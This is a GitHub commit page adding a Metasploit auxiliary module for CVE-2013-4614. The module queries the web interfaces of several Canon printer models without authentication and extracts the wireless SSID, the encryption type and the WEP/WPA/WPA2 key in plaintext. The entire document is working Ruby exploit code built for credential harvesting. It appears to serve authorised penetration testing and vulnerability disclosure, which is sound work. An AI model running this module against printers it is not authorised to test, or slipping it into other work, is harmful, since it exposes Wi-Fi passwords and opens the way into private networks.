Skip to content

Commit 90cad4b

Browse files
committed
Land rapid7#1980 - Canon Printer Wireless Configuration Disclosure
2 parents 6168eb7 + abc3951 commit 90cad4b

File tree

1 file changed

+149
-0
lines changed

1 file changed

+149
-0
lines changed
Lines changed: 149 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,149 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'nokogiri'
10+
11+
class Metasploit3 < Msf::Auxiliary
12+
13+
include Msf::Auxiliary::Report
14+
include Msf::Exploit::Remote::HttpClient
15+
include Msf::Auxiliary::Scanner
16+
17+
def initialize(info={})
18+
super(update_info(info,
19+
'Name' => 'Canon Printer Wireless Configuration Disclosure',
20+
'Description' => %q{
21+
This module enumerates wireless credentials from Canon printers with a web interface.
22+
It has been tested on Canon models: MG3100, MG5300, MG6100, MP495, MX340, MX870,
23+
MX890, MX920.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'Matt "hostess" Andreko <mandreko[at]accuvant.com>'
29+
],
30+
'References' => [
31+
[ 'CVE', '2013-4614' ],
32+
[ 'URL', 'http://www.mattandreko.com/2013/06/canon-y-u-no-security.html']
33+
],
34+
'DisclosureDate' => 'Jun 18 2013'))
35+
end
36+
37+
def get_network_settings
38+
begin
39+
res = send_request_cgi({
40+
'method' => 'GET',
41+
'uri' => '/English/pages_MacUS/lan_set_content.html',
42+
})
43+
rescue
44+
print_error("#{rhost}:#{rport} Could not connect.")
45+
return
46+
end
47+
48+
if res
49+
if res.code == 200
50+
51+
html = Nokogiri::HTML(res.body)
52+
53+
checked_lan_setting = html.xpath '//input[@name="LAN_OPT1" and @checked]'
54+
55+
if checked_lan_setting.count == 1
56+
lan_setting = ''
57+
ssid = ''
58+
case checked_lan_setting[0]['value']
59+
when '0'
60+
lan_setting = 'Do not use LAN'
61+
when '1'
62+
lan_setting = 'Use wired LAN'
63+
when '2'
64+
lan_setting = 'Use wireless LAN'
65+
66+
ssid_input = html.xpath '//input[@name="LAN_TXT1"]'
67+
ssid = ssid_input[0]['value'] if ssid_input.count == 1
68+
end
69+
70+
return lan_setting, ssid
71+
else
72+
print_error("#{rhost}:#{rport} Could not determine LAN Settings.")
73+
end
74+
75+
elsif res.code == 401
76+
print_error("#{rhost}:#{rport} Authentication failed")
77+
elsif res.code == 404
78+
print_error("#{rhost}:#{rport} File not found")
79+
end
80+
end
81+
end
82+
83+
def get_wireless_key
84+
begin
85+
res = send_request_cgi({
86+
'method' => 'GET',
87+
'uri' => "/English/pages_MacUS/wls_set_content.html",
88+
})
89+
rescue
90+
print_error("#{ip}:#{rport} Could not connect.")
91+
return
92+
end
93+
94+
if res
95+
if res.code == 200
96+
html = Nokogiri::HTML(res.body)
97+
encryption_setting = ''
98+
encryption_key = ''
99+
100+
checked_encryption_setting = html.xpath '//input[@name="WLS_OPT1" and @checked]'
101+
case checked_encryption_setting[0]['value']
102+
when '0'
103+
encryption_setting = 'None'
104+
when '1'
105+
encryption_setting = 'WEP'
106+
wep_key_inputs = html.xpath '//input[starts-with(@name, "WLS_TXT1") and not(@value="")]'
107+
encryption_key = wep_key_inputs.collect{|x| x['value']}.join(', ')
108+
when '2'
109+
encryption_setting = 'WPA'
110+
wpa_key_input = html.xpath '//input[@name="WLS_TXT2"]'
111+
encryption_key = wpa_key_input[0]['value']
112+
when '3'
113+
encryption_setting = 'WPA2'
114+
wpa2_key_input = html.xpath '//input[@name="WLS_TXT3"]'
115+
encryption_key = wpa2_key_input[0]['value']
116+
end
117+
118+
return encryption_setting, encryption_key
119+
120+
elsif res.code == 401
121+
print_error("#{rhost}:#{rport} Authentication failed")
122+
elsif res.code == 404
123+
print_error("#{rhost}:#{rport} File not found")
124+
end
125+
end
126+
end
127+
128+
def run_host(ip)
129+
130+
ns = get_network_settings
131+
return if ns.nil?
132+
133+
good_string = "#{rhost}:#{rport} Option: #{ns[0]}"
134+
if ns[0] == 'Use wireless LAN'
135+
wireless_key = get_wireless_key
136+
good_string += "\tSSID: #{ns[1]}\tEncryption Type: #{wireless_key[0]}\tKey: #{wireless_key[1]}"
137+
end
138+
139+
report_note({
140+
:data => good_string,
141+
:type => 'canon.wireless',
142+
:host => ip,
143+
:port => rport
144+
})
145+
146+
print_good good_string
147+
148+
end
149+
end

0 commit comments

Comments
 (0)